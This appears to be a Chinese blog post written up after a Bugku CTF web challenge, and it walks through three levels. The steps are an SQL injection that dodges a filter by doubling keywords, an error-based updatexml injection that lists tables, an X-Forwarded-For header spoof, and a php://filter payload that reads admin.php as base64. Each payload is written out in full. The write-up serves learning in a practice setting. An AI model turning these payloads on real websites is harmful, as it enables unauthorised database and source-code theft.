Loading... 这道题比较有意思,涉及到的知识点也比较多,单独拿出来记录一下吧。 原题:https://ctf.bugku.com/challenges#%E5%A4%9A%E6%AC%A1 ##第一关 ###1. 找注入点 进去后只有一句话。首先先找注入点。发现URL有一个id=1,猜想这里会有注入点。加个单引号,果然报错了。说明这里存在注入点。 ###2. 判断过滤 这里返回只有两种情况,所以可以用以下语句判断过滤: ``` ?id=1'^(length('union')>0)%23 ``` > 这里后面用 "#" 的话无法注入,可能是哪里过滤了 “#” 号。 这里是通过异或来判断真假。这里如果不报错的话就说明里面的字符串被过滤了。 经过检测发现 `select`, `union`, `or`, `and` 都被过滤了。并且这里的过滤是直接替换为空。 ###3. 注入 既然如此,就可以通过特殊的方法来绕过。比如:`oorr`就可以绕过这种检测一次的过滤。下面就是常规的注入过程啦(记得绕过过滤)。直接给最后结果吧: ``` id=%27 ununionion seselectlect 1,flag1 from flag1%23 ``` select 出来一个flag。但是里面还有一个address,查看可以得到第二关的地址。 ##第二关 和上一关一样的检测方法。查出来union被过滤了。但是上一关的绕过方法用不了了。这里利用的是基于报错的updatexml注入。 首先先了解一下updatexml: ``` UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 ``` ###Payload: ``` /Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23 ``` 这里提交的是~sql语句~,是不符合xml格式的,所以会报错。报错会造成 `select group_concat(table_name) from information_schema.tables where table_schema=database()` 语句的执行,所以可以注入。 此时回显: ``` My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)# Nobody! XPATH syntax error: '~class,flag2~' ``` 接下来就是常规的注入啦~ ##第三关 第二关拿到flag就可以过了。但是既然还有第三关那当然要看看啦。 提示要用特定的IP访问,那就修改XFF头来绕过,得到一个二维码。扫描后得到: ``` 你……你……你可以看到我? 好吧,我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y&$as%_=#*ad…*@#!*&@…c…… ``` 既然如此,那就构造payload: ``` /Have_Fun.php/?game=php://filter/convert.base64-encode/resource=admin.php ``` 得到flag。 最后修改:2019 年 06 月 10 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏